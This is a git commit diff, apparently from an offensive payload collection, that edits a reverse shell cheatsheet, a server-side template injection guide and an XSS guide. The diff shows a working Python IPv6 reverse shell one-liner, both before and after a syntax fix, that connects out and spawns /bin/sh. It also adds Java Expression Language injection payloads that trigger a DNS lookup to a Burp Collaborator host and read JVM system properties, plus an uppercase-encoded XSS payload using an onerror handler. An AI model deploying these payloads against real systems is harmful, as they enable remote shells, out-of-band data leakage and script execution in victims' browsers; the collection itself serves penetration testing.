Skip to content

Commit 9bde75b

Browse files
Expression Language Injection One-Liners; XSS Payload; Fixed Linux Python IPv6 Reverse Shell Payload
1 parent fde9904 commit 9bde75b

File tree

3 files changed

+17
-1
lines changed

3 files changed

+17
-1
lines changed

Methodology and Resources/Reverse Shell Cheatsheet.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -150,7 +150,7 @@ python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty")
150150

151151
IPv6 (No Spaces, Shortened)
152152
```python
153-
python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));f=s.fileno;o(f(),0);o(f(),1);o(f(),,2);p("/bin/sh")'
153+
python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
154154
```
155155

156156
Windows only

Server Side Template Injection/README.md

+10
Original file line numberDiff line numberDiff line change
@@ -149,6 +149,16 @@ ${1+1}
149149
#{1+1}
150150
```
151151

152+
### Expression Language EL - One-Liner injections not including code execution
153+
154+
```java
155+
// DNS Lookup
156+
${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","h3l9e5soi0090naz81tmq5ztaaaaaa.burpcollaborator.net")}
157+
158+
// JVM System Property Lookup (ex: java.class.path)
159+
${"".getClass().forName("java.lang.System").getDeclaredMethod("getProperty","".getClass()).invoke("","java.class.path")}
160+
```
161+
152162
### Expression Language EL - Code Execution
153163

154164

XSS Injection/README.md

+6
Original file line numberDiff line numberDiff line change
@@ -230,6 +230,12 @@ e.g: 14.rs/#alert(document.domain)
230230
Use CTRL+SHIFT+X to trigger the onclick event
231231
```
232232
233+
### XSS when payload is reflected capitalized
234+
235+
```javascript
236+
<IMG SRC=1 ONERROR=&#X61;&#X6C;&#X65;&#X72;&#X74;(1)>
237+
```
238+
233239
### DOM based XSS
234240
235241
Based on a DOM XSS sink.

0 commit comments

Comments
 (0)